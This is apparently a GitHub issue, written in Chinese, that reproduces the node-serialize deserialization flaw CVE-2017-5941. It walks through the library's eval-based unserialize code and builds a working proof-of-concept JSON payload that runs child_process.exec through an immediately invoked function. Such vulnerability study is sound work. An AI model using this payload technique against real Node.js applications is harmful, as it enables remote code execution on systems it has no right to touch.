xinali/articles

node-serialize 反序列化(CVE-2017-5941)

xinali opened this issue · 0 comments

node-serialize 反序列化(CVE-2017-5941

漏洞本地复现

首先看这个node-serialize库,其中实现反序列化的代码

unserialize = function(obj, originObj) {
    var isIndex;
    if (typeof obj === 'string') {
      obj = JSON.parse(obj);
      isIndex = true;
    }
    originObj = originObj || obj;

    var circularTasks = [];
    var key;
    for(key in obj) {
      if(obj.hasOwnProperty(key)) {
        if(typeof obj[key] === 'object') {
          obj[key] = unserialize(obj[key], originObj);
        } else if(typeof obj[key] === 'string') {
          if(obj[key].indexOf(FUNCFLAG) === 0) {
            obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
          } else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
            obj[key] = obj[key].substring(CIRCULARFLAG.length);
            circularTasks.push({obj: obj, key: key});
          }
        }
      }
    }

    if (isIndex) {
      circularTasks.forEach(function(task) {
        task.obj[task.key] = getKeyPath(originObj, task.obj[task.key]);
      });
    }
    return obj;
  };

其中var FUNCFLAG = '_$$ND_FUNC$$_';
可以看出代码中使用了eval执行代码,再深入看一下能够执行形成的条件。

  1. obj[key] 类型为string
  2. obj[key] 以_$$ND_FUNC$$_开头,即FUNCFLAG

首先测试函数序列化后,其类型是否为string,根据上面给出的源码,序列化后的数据需要JSON.parse之后再判断类型,再其给出的测试代码文件中,写入如下代码

require('should');
var serialize = require('..');

var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}};
var serialize_data = serialize.serialize(req_data);
var json_data = JSON.parse(serialize_data);

if (typeof json_data['func'] === 'string') {
  console.log("string type!");
} else {
  console.log("other type!");
}

测试一下

所以我们提交的数据反序列化后成功的到达eval的括号中,再来测试eval是否能够真正的执行。测试代码如下

require('should');
var serialize = require('..');

var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}};
var serialize_data = serialize.serialize(req_data);
var json_data = JSON.parse(serialize_data);

console.log(json_data);
var FUNCFLAG = '_$$ND_FUNC$$_';
var func_exec = json_data['func'];
console.log(func_exec.substring(FUNCFLAG.length));
eval('(' + func_exec.substring(FUNCFLAG.length) + ')');

执行一下

可以发现eval中的函数并没有执行,根据javascript的立即执行函数表达式(IIFE),我们在最后eval加一对括号试试

require('should');
var serialize = require('..');

var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}};
var serialize_data = serialize.serialize(req_data);
var json_data = JSON.parse(serialize_data);

console.log(json_data);
var FUNCFLAG = '_$$ND_FUNC$$_';
var func_exec = json_data['func'];
console.log(func_exec.substring(FUNCFLAG.length));
eval('(' + func_exec.substring(FUNCFLAG.length) + '())');

测试一下

发现代码已经成功执行,在这个测试过程中,没有直接使用unserialize,而是根据其代码直接构造出了POC,现在先用serialize得到数据,再用unserialize执行代码试试。这里有一点需要注意,我们在序列化前不能直接将func利用IIFE的形式写,因为这样的话,在序列化前函数已经执行,导致序列化失败,也就无法得到序列化数据了

测试代码

require('should');
var serialize = require('..');

var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}()};  //注意看这里末尾有一对括号!造成IIFE!
var serialize_data = serialize.serialize(req_data);
console.log(serialize_data);

先直接测试序列化IIFE的函数

可以看到序列化直接失败,输出数据为空。

再来序列化非IIFE数据

require('should');
var serialize = require('..');

var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}};  //这里没有括号
var serialize_data = serialize.serialize(req_data);
console.log(serialize_data);

序列化成功

利用序列化的字符串末尾加上一对括号,造成在反序列化时的IIFE,并且需要注意转义反斜杠,具体看代码

require('should');
var serialize = require('..');

//var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}};
//var serialize_data = serialize.serialize(req_data);
//console.log(serialize_data);

var data = '{"func":"_$$ND_FUNC$$_function (){require(\\"child_process\\").exec(\\"ls /\\", function(error, stdout, stderr){console.log(stdout);});}()"}'; // 末尾有括号,而且转义了斜杠
console.log(data);
var unserialize_data = serialize.unserialize(data);
console.log(unserialize_data);

测试如下

漏洞远程复现

漏洞远程getshell

参考

  1. http://www.4hou.com/technology/3457.html
  2. https://segmentfault.com/a/1190000003985390